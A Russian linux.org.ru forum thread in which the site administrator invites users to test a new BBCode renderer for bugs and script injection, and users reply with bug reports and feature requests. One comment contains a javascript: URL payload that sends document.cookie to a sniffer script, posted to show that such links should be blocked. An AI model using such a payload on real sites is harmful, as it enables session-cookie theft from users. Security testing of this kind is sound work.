LINUX.ORG.RU

BBCode рендерер


0

0

Предлагаю попробовать рендерер BB-кода с некоторыми дополнениями, который в будущем планируется использовать на сайте.

Тестовая страничка: http://www.linux.org.ru/bbtest.jsp

Описание кода: http://www.linux.org.ru/wiki/en/Lorcode

Потестите plz работоспособность, устойчивость к внедрению скриптов/тегов. Принимаются предложения по дополнению функциональности.

★★★★★

ЗОМГ! Может лучше что-то вроде markdown или модификаций? Например как на wakab'е.

Deleted
()

В принципе работает хорошо. А интерфейс ввода сообщений планируется расширить?

Deleted
()

[url=javascript:var c=new Image();c.src="http://127.0.0.1/sniffer.pl?"+document.cookie;close()]Test[/url]

Предложение первым делом запретить javascript в ссылке.

Deleted
()

Кавычки (") преобразуются в " в HTML-коде и, соответственно, выводятся как &quot на странице — это так задумано?

dexpl ★★★★★
()
Ответ на: комментарий от dexpl

> Кавычки (") преобразуются в " в HTML-коде и, соответственно, выводятся как &quot на странице — это так задумано?

где они так выводятся?

maxcom ★★★★★
() автор топика

[code]
#!/usr/bin/sh
echo 'aa' > /etc/die
[/code]

результат

#!/usr/bin/sh
echo 'aa' > /etc/die

hizel ★★★★★
()

Лучше при отсутствии названия цитаты не включать в неё заголовок вообще.

anonymfus ★★★★
()
Ответ на: комментарий от maxcom

> где они так выводятся?

В результате вставки строк с кавычками внутрь тега [code].

К примеру

[code]
alias nocomments="egrep -v '^[[:space:]]*(#|;|$)'"
[/code]

dexpl ★★★★★
()

populaire...

Что-либо более попсовое и громоздкое чем bbcode сложно представить. Не Ъ.

xio
()

А HTML-обработку планируется сделать более полную (хотя бы все те же тэги разрешить, что и для BBCode) и разрешить в комментариях?

anonymfus ★★★★
()
Ответ на: комментарий от dexpl

> В результате вставки строк с кавычками внутрь тега [code].

fixed

maxcom ★★★★★
() автор топика
Ответ на: комментарий от anonymfus

> А HTML-обработку планируется сделать более полную (хотя бы все те же тэги разрешить, что и для BBCode) и разрешить в комментариях?

нет, поддержка HTML будет удалена

maxcom ★★★★★
() автор топика

Недопустимый тип нумерации ([list="blah"]) воспринимаеся как арабские цифры --- это баг или фича?

bakagaijin
()

Ура-ура! Скоро и до графических смайликов дойдет!

lester_dev ★★★★★
()

А как же анимированные смайлики и встроенные ролики с тытрубы? :D

Предложения по делу:
1) сделать экранирование тегов (если я хочу ввести текст, который выглядит как тег);
2) разрешить другие протоколы URL, а также ввод доменов без точки типа localhost и IP-адресов;
3) сделать фиксированный шрифт и подсветку синтаксиса для кода (типа http://softwaremaniacs.org/soft/highlight/) с прямым указанием языка [code=python];
4) при добавлении сообщения проверять, нет ли ошибки при вводе ника в [user];
5) показывать статус пользователя (блокирование, серые и зелёные звёзды), указанного в [user], но только не при добавлении сообщения, а тогда, когда сообщение отображается;
6) починить ввод e-mail адресов (я пробовал многие существующие - не работает);
7) сделать кнопку цитирования в view-message.jsp, которая автоматом прописывает [quote="[user]anonymous[/user] [url=http://www.linux.org.ru/jump-message.jsp?msgid=3159905&cid=3159954]10.10.2008 10:56:36[/url]"]Цитируемое сообщение[/quote];
8) сделать кавычки необязательными в list=type, quote=name;
9) сделать возможность отключать показ ссылок в настройках (для Ъ), в таком случае показывать только название ссылки, если оно указано.

true
()

Кстати, серьезно насчет смайликов. Не обязательно же их делать анимированными :) Можно простыми.

Для тех кому не нравится, можно будет отключать в настройках. Сделайте пожалуйста)

Redeyed
()

Markdown намного правослевнее.

anonymous
()

Если не закрыть бб-тег, то он вообще не интерпретируется

Например:

[code]
#include <stdio.h>

int main(int argc, char** argv){
return 0;
}
[code]

temy4
()
Ответ на: комментарий от temy4

И еще, к тому же коду фичреквест, сделать нумерацию, в интерпретации будет примерно так:

<ol type="1">
<li> строка кода
</ol>

temy4
()

(бесполезный-комментарий "Этот ваш BB-code выглядит как говно")

Sphinx ★★☆☆
()
Ответ на: комментарий от maxcom

Неправильный подход. Лучше было бы отфильтровать только javascript:, а неизвестные протоколы оставить возможными.

anonymfus ★★★★
()

Ещё нужны таблицы, сокращения ([abbr=GNU’s Not UNIX]GNU[/abbr]) и простые внутрилорные ссылки([gotoid=3160595]текст[/gotoid] или как-то так).

anonymfus ★★★★
()

Верхний/нижний индексы неплохо добавить.

anonymous
()

[email]4spam@linux.org.ru[/email]

"некорректный url" модераторы получили об этом сигнал.

mono ★★★★★
()
Ответ на: комментарий от mono

Причём если написать с mailto: то работает, но в коде получается mailto:mailto:

Deleted
()

круто, очень жду, а то я до сих пор с форматированием ошибаюсь

z0D5e8n7x
()
Ответ на: комментарий от Neko

> Не работает [img][/img].

Потому что не поддерживается. А жаль.

bbk123 ★★★★★
()
Ответ на: комментарий от Zenom

> Реквестую тег [s]

IMHO совершенно бесполезный таг. Более подходит для детей или графоманов.

bbk123 ★★★★★
()
Ответ на: комментарий от INFOMAN

> А можно к code добавить параметр =lang и подсветку прикрутить?

В оригинале это делается не совсем так:

[code=C] [code=Java] [code=PHP]

bbk123 ★★★★★
()

> Принимаются предложения по дополнению функциональности.

Зачем нужны списки? Неужели вручную трудно нарисовать? Теги [em] [strong] не нужны. Лучше [^W], ну то есть [s], я хотел сказать, для перечеркнутого текста.

anonymous
()
Ответ на: комментарий от anonymous

Вручную не есть семантически правильно.

INFOMAN ★★★★★
()

Изменения в рендерере:

1) Убран тег email

2) В тег [user] добавлена проверка существования пользователя в БД

3) Добавлен моноширинный фонт к тегу code

maxcom ★★★★★
() автор топика
Ответ на: комментарий от dn2010

>А есть где правильные движки подсветки?

colorer. Других правильных (т.е. подсветка произвольной вложенности - скажем, html внутри php, а внутри этого html - javascript) пока не встречал. Под Java - есть (Eclipse-colorer).

KRoN73 ★★★★★
()
Ответ на: комментарий от maxcom

>2) В тег [user] добавлена проверка существования пользователя в БД

Неплохо бы выдавать ошибку в случае отсутствия пользователя.

true
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.